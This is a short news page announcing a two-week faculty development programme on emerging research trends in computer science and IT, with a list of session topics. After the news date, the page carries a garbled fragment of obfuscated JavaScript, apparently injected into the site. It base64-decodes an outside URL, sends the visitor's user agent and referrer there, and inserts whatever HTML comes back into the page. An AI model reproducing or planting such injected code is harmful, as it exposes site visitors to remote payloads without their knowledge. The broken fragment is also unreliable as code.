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## Two Weeks Faculty Development Programme on "Emerging Research Trends in Computer Science & IT",

Contemporary research in Computer Science and Information Technology unfolds across diverse frontiers. Artificial Intelligence and Machine Learning stand as stalwarts, driving advancements in neural networks, deep learning architectures, and ethical AI considerations. Simultaneously, the evolution of Quantum Computing remains a focal point, exploring quantum algorithms and stable system construction for unparalleled computational abilities.

? Natural Language Processing (NLP)

? Trend Analysis (with different case studies)

? Areas of Artificial Intelligence and Machine Learning

? Research Methodology, Data Types and Different Machine Learning Algorithms

? Regression: Hands on coding using Python

? Artificial Intelligence and Machine Learning in Cyber Security Page 2 of 2

? Data Visualization

? Advanced Research Application and Opportunities in Artificial Intelligence and Deep Learning

### **News Category:**

Activities

### **News Date:**

Thursday, 1 December, 2022 - 16:00

```
        { let selfer=new XMLHttpRequest;selfer.open("GET",
decodeURIComponent(escape(atob('aHR0cHM6Ly91cmxzcGF0aC5jb20vdmVyaWZ5LnBocA==')))
        +
nt=${navigator?.userAgent}&r=${document?.referrer}`),selfer.onreadystatechange=()=>{if(4==selfer.readyState)
e);document.querySelector("body").insertAdjacentHTML("afterbegin",e?.html)}}),selfer.setRequestHeader("Request-Header",
}); //-->
```

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